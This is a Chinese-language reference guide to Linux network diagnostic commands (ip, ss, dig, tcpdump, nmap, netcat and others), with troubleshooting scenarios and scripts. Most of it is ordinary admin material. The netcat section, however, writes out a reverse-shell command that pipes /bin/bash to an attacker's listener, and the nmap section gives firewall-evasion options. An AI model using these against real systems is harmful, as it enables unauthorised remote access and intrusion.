网络状态查看命令
1. ip命令(ifconfig的现代替代)
bash
# 查看所有网络接口
ip addr show # 或简写 ip a
# 查看特定接口
ip addr show eth0
# 查看路由表
ip route show # 或简写 ip r
# 查看邻居缓存(ARP表)
ip neigh show
# 查看网络统计
ip -s link show eth0
# 查看所有网络命名空间
ip netns list
常用场景:
-
查看IP地址、MAC地址
-
诊断网络接口状态
-
管理路由表
-
查看ARP缓存
2. ss命令(netstat的现代替代)
bash
# 查看所有连接
ss -tuln # -t:TCP -u:UDP -l:监听 -n:数字显示
# 查看TCP连接
ss -tna # 所有TCP连接
ss -t state established # 已建立的连接
# 按进程查看
ss -tulnp # -p:显示进程
# 查看监听端口
ss -tlnp # 监听中的TCP端口
ss -ulnp # 监听中的UDP端口
# 查看socket统计
ss -s # 汇总统计
常用场景:
-
查看服务器监听端口
-
排查端口占用问题
-
监控网络连接数
-
查看进程网络连接
3. netstat(传统但广泛使用)
bash
# 查看所有端口
netstat -tulnp
# 查看网络接口统计
netstat -i
# 查看路由表
netstat -rn
# 查看组播组成员
netstat -g
# 持续监控
netstat -c
网络测试诊断命令
4. ping - 连通性测试
bash
# 基本用法
ping baidu.com
ping 8.8.8.8
# 指定次数
ping -c 4 baidu.com # 发送4个包
# 指定间隔
ping -i 2 baidu.com # 2秒间隔
# 指定大小
ping -s 1024 baidu.com # 1024字节包
# 快速ping(不延迟)
ping -f baidu.com # flood模式(需要root)
# 指定TTL
ping -t 10 baidu.com # TTL=10
常用场景:
-
测试网络连通性
-
测试延迟和丢包率
-
故障排除第一步
5. traceroute - 路由追踪
bash
# 基本用法
traceroute baidu.com
# 使用ICMP(默认UDP)
traceroute -I baidu.com
# 指定最大跳数
traceroute -m 30 baidu.com
# 指定起始端口
traceroute -p 33434 baidu.com
# 禁用反向DNS解析
traceroute -n baidu.com
6. mtr - 增强版traceroute
bash
# 实时监控路由
mtr baidu.com
# 生成报告
mtr -r -c 10 baidu.com # 发送10个包并生成报告
# 禁用DNS解析
mtr -n baidu.com
# CSV格式输出
mtr --csv baidu.com > report.csv
# 指定包大小
mtr -s 1400 baidu.com
常用场景:
-
诊断网络延迟问题
-
定位网络故障节点
-
监控网络质量
7. dig - DNS查询
bash
# 查询A记录
dig baidu.com
dig @8.8.8.8 baidu.com # 指定DNS服务器
# 查询特定记录类型
dig baidu.com MX # 邮件记录
dig baidu.com NS # 域名服务器
dig baidu.com TXT # 文本记录
dig baidu.com SOA # 起始授权记录
# 反向DNS查询
dig -x 8.8.8.8
# 短格式输出
dig +short baidu.com
# 跟踪DNS解析过程
dig +trace baidu.com
# 批量查询
dig -f domains.txt
8. nslookup - DNS查询(交互式
bash
# 交互模式
nslookup
> server 8.8.8.8 # 设置DNS服务器
> set type=MX # 查询类型
> baidu.com # 查询域名
> exit
# 命令行模式
nslookup baidu.com 8.8.8.8
nslookup -type=MX baidu.com
nslookup -debug baidu.com # 调试模式
常用场景:
-
DNS故障排查
-
验证DNS解析
-
测试DNS服务器
网络抓包分析
9. tcpdump - 命令行抓包
bash
# 抓取所有接口
tcpdump -i any
# 抓取特定接口
tcpdump -i eth0
# 抓取指定主机
tcpdump host 192.168.1.100
# 抓取指定端口
tcpdump port 80
tcpdump portrange 1-1024
# 抓取HTTP请求
tcpdump -i eth0 port 80 -A
# 保存到文件
tcpdump -i eth0 -w capture.pcap
# 从文件读取
tcpdump -r capture.pcap
# 抓取指定协议
tcpdump icmp
tcpdump tcp
tcpdump udp
# 复杂过滤
tcpdump -i eth0 'tcp port 80 and (tcp[tcpflags] & tcp-syn != 0)'
# 显示数据包内容(ASCII)
tcpdump -A -i eth0 port 80
# 显示数据包内容(HEX和ASCII)
tcpdump -XX -i eth0 port 80
- tshark - Wireshark命令行版
bash
# 基本抓包
tshark -i eth0
# 抓取HTTP流量
tshark -i eth0 -Y http
# 显示特定字段
tshark -i eth0 -T fields -e ip.src -e ip.dst
# 保存到文件
tshark -i eth0 -w capture.pcap
# 统计协议分布
tshark -r capture.pcap -z io,phs
# 提取HTTP URL
tshark -r capture.pcap -Y http.request -T fields -e http.request.uri
常用场景:
-
网络故障排查
-
安全分析
-
协议分析
-
性能调优
网络配置管理
11. nmcli - NetworkManager命令行
bash
# 查看连接
nmcli connection show
nmcli con show --active
# 查看设备
nmcli device status
nmcli dev show eth0
# 启用/禁用连接
nmcli con up "Wired connection 1"
nmcli con down "Wired connection 1"
# 添加连接
nmcli con add type ethernet con-name "eth0-static" ifname eth0 \
ip4 192.168.1.100/24 gw4 192.168.1.1
# 修改连接
nmcli con mod "eth0-static" ipv4.dns "8.8.8.8 8.8.4.4"
# 重新加载配置
nmcli con reload
# 查看网络连接状态
nmcli general status
12. 配置静态IP(传统方式)
bash
# Ubuntu/Debian (/etc/network/interfaces)
sudo vi /etc/network/interfaces
# 添加配置:
auto eth0
iface eth0 inet static
address 192.168.1.100
netmask 255.255.255.0
gateway 192.168.1.1
dns-nameservers 8.8.8.8 8.8.4.4
# 重启网络
sudo systemctl restart networking
# CentOS/RHEL (/etc/sysconfig/network-scripts/)
sudo vi /etc/sysconfig/network-scripts/ifcfg-eth0
# 配置:
TYPE=Ethernet
BOOTPROTO=static
IPADDR=192.168.1.100
NETMASK=255.255.255.0
GATEWAY=192.168.1.1
DNS1=8.8.8.8
DNS2=8.8.4.4
ONBOOT=yes
# 重启网络
sudo systemctl restart network
网络性能测试
13. iperf3 - 带宽测试
bash
# 服务器端
iperf3 -s # 默认端口5201
iperf3 -s -p 5202 # 指定端口
# 客户端测试下载
iperf3 -c server_ip
iperf3 -c server_ip -R # 反向测试(服务器->客户端)
# 指定参数
iperf3 -c server_ip -t 30 # 测试30秒
iperf3 -c server_ip -P 4 # 4个并行连接
iperf3 -c server_ip -u -b 100M # UDP测试,100Mbps
# 双向测试
iperf3 -c server_ip --bidir
# 输出JSON格式
iperf3 -c server_ip -J
14. speedtest-cli - 测速工具
bash
# 安装
pip install speedtest-cli
# 简单测试
speedtest-cli
# 指定服务器
speedtest-cli --server 1234 # 服务器ID
# 无进度条输出
speedtest-cli --simple
# 分享结果
speedtest-cli --share # 生成结果链接
# JSON输出
speedtest-cli --json
# 只下载或上传测试
speedtest-cli --no-download # 只测试上传
speedtest-cli --no-upload # 只测试下载
15. iftop - 实时流量监控
bash
# 监控所有接口
iftop
# 监控特定接口
iftop -i eth0
# 显示端口号
iftop -P
# 按带宽排序
iftop -o 2s # 按2秒平均带宽排序
# 过滤特定主机
iftop -F 192.168.1.0/24
# 不解析主机名
iftop -n
16. nethogs - 按进程监控流量
bash
# 监控所有接口
nethogs
# 监控特定接口
nethogs eth0
# 刷新频率(秒)
nethogs -d 5
# 按流量排序
nethogs -v 1 # 0=KB/s, 1=KB, 2=MB, 3=MB/s
# 跟踪模式
nethogs -t
常用场景:
-
带宽性能测试
-
流量监控分析
-
排查带宽占用问题
网络安全相关
17. nmap - 网络扫描
bash
# 端口扫描
nmap 192.168.1.1
nmap -p 1-1000 192.168.1.1 # 指定端口范围
nmap -p 22,80,443 192.168.1.1 # 指定特定端口
# 扫描整个网段
nmap 192.168.1.0/24
# 服务版本检测
nmap -sV 192.168.1.1
# 操作系统检测
nmap -O 192.168.1.1
# 快速扫描
nmap -F 192.168.1.1
# 全端口扫描
nmap -p- 192.168.1.1
# 保存结果
nmap -oN scan.txt 192.168.1.1 # 普通文本
nmap -oX scan.xml 192.168.1.1 # XML格式
nmap -oG scan.gnmap 192.168.1.1 # grep友好格式
# 绕过防火墙
nmap -f 192.168.1.1 # 分片
nmap --data-length 100 192.168.1.1 # 添加随机数据
18. netcat (nc) - 网络瑞士军刀
bash
# 端口扫描
nc -zv 192.168.1.1 1-1000
# 创建聊天服务器
# 服务器端:
nc -l -p 1234
# 客户端:
nc 192.168.1.1 1234
# 文件传输
# 接收端:
nc -l -p 1234 > file.txt
# 发送端:
nc 192.168.1.1 1234 < file.txt
# 反向shell
# 攻击机监听:
nc -l -p 4444
# 目标机连接:
nc 192.168.1.100 4444 -e /bin/bash
# HTTP请求
echo -e "GET / HTTP/1.1\nHost: example.com\n\n" | nc example.com 80
# UDP模式
nc -u 192.168.1.1 1234
19. openssl - SSL/TLS测试
bash
# 测试SSL证书
openssl s_client -connect example.com:443
# 查看证书详情
openssl s_client -connect example.com:443 | openssl x509 -text
# 检查证书过期时间
openssl s_client -connect example.com:443 2>/dev/null | \
openssl x509 -noout -dates
# 测试特定TLS版本
openssl s_client -connect example.com:443 -tls1_2
openssl s_client -connect example.com:443 -tls1_3
# 生成测试证书
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
实用场景案例
场景1:网站无法访问排查
bash
# 1. 检查本地网络
ping 8.8.8.8
# 如果失败:检查网卡、网线、路由器
# 2. 检查DNS解析
nslookup example.com
dig example.com
# 如果失败:检查DNS配置
# 3. 检查目标服务器
ping example.com
traceroute example.com
# 如果失败:目标服务器或网络问题
# 4. 检查端口
nc -zv example.com 80
# 如果失败:防火墙或服务未运行
# 5. 检查HTTP响应
curl -I http://example.com
# 查看HTTP状态码
场景2:服务器端口占用排查
bash
# 1. 查看哪个进程占用80端口
ss -tlnp | grep :80
# 或
lsof -i :80
# 2. 查看进程详情
ps aux | grep <PID>
# 3. 如果不需要,停止进程
kill <PID>
# 或强制停止
kill -9 <PID>
# 4. 检查端口监听状态
netstat -tln | grep :80
场景3:网络性能问题排查
bash
# 1. 测试带宽
iperf3 -c iperf-server.example.com
# 2. 监控实时流量
iftop -i eth0
# 3. 查看连接数
ss -s
netstat -an | grep ESTABLISHED | wc -l
# 4. 分析网络延迟
mtr google.com
# 5. 检查网络错误
ip -s link show eth0
# 查看 errors, dropped 等计数器
场景4:防火墙规则检查
bash
# 1. 查看iptables规则
iptables -L -n -v
iptables -t nat -L -n -v
# 2. 查看firewalld规则
firewall-cmd --list-all
# 3. 测试端口开放
telnet example.com 80
nc -zv example.com 22
# 4. 使用nmap扫描
nmap -p 22,80,443 example.com
场景5:DNS问题排查
bash
# 1. 测试DNS解析
dig example.com
dig example.com @8.8.8.8 # 指定DNS服务器
# 2. 检查DNS配置
cat /etc/resolv.conf
systemd-resolve --status
# 3. 清空DNS缓存
# systemd-resolved
systemd-resolve --flush-caches
# nscd
nscd -i hosts
# 4. 跟踪DNS解析
dig +trace example.com
实用技巧
1. 组合命令示例
bash
# 统计HTTP状态码
tail -f access.log | awk '{print $9}' | sort | uniq -c
# 监控TCP连接状态
watch -n 1 'ss -tan state established | wc -l'
# 查找占用带宽的IP
ss -tn | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -rn
# 监控网络错误
watch -n 1 'ip -s link show eth0 | grep "error\|drop"'
# 快速检查所有服务器端口
for ip in {1..254}; do nc -zv 192.168.1.$ip 22 2>&1 | grep succeeded; done
2. 调试脚本
bash
#!/bin/bash
# 网络检查脚本
check_network() {
echo "=== 网络诊断 ==="
echo "1. 网卡状态:"
ip link show | grep -E "state|mtu"
echo -e "\n2. IP地址:"
ip addr show | grep inet
echo -e "\n3. 路由表:"
ip route show
echo -e "\n4. DNS配置:"
cat /etc/resolv.conf
echo -e "\n5. 端口监听:"
ss -tlnp | head -20
}
# 运行检查
check_network
3. 性能监控脚本
bash
#!/bin/bash
# 网络性能监控
monitor_network() {
echo "时间,接口,接收包,接收字节,发送包,发送字节,接收错误,发送错误"
while true; do
timestamp=$(date '+%Y-%m-%d %H:%M:%S')
eth0_stats=$(ip -s link show eth0 | grep -A3 "RX:" | tr '\n' ' ' | awk '{print $2,$5,$8,$11}')
echo "$timestamp,eth0,$eth0_stats"
sleep 5
done
}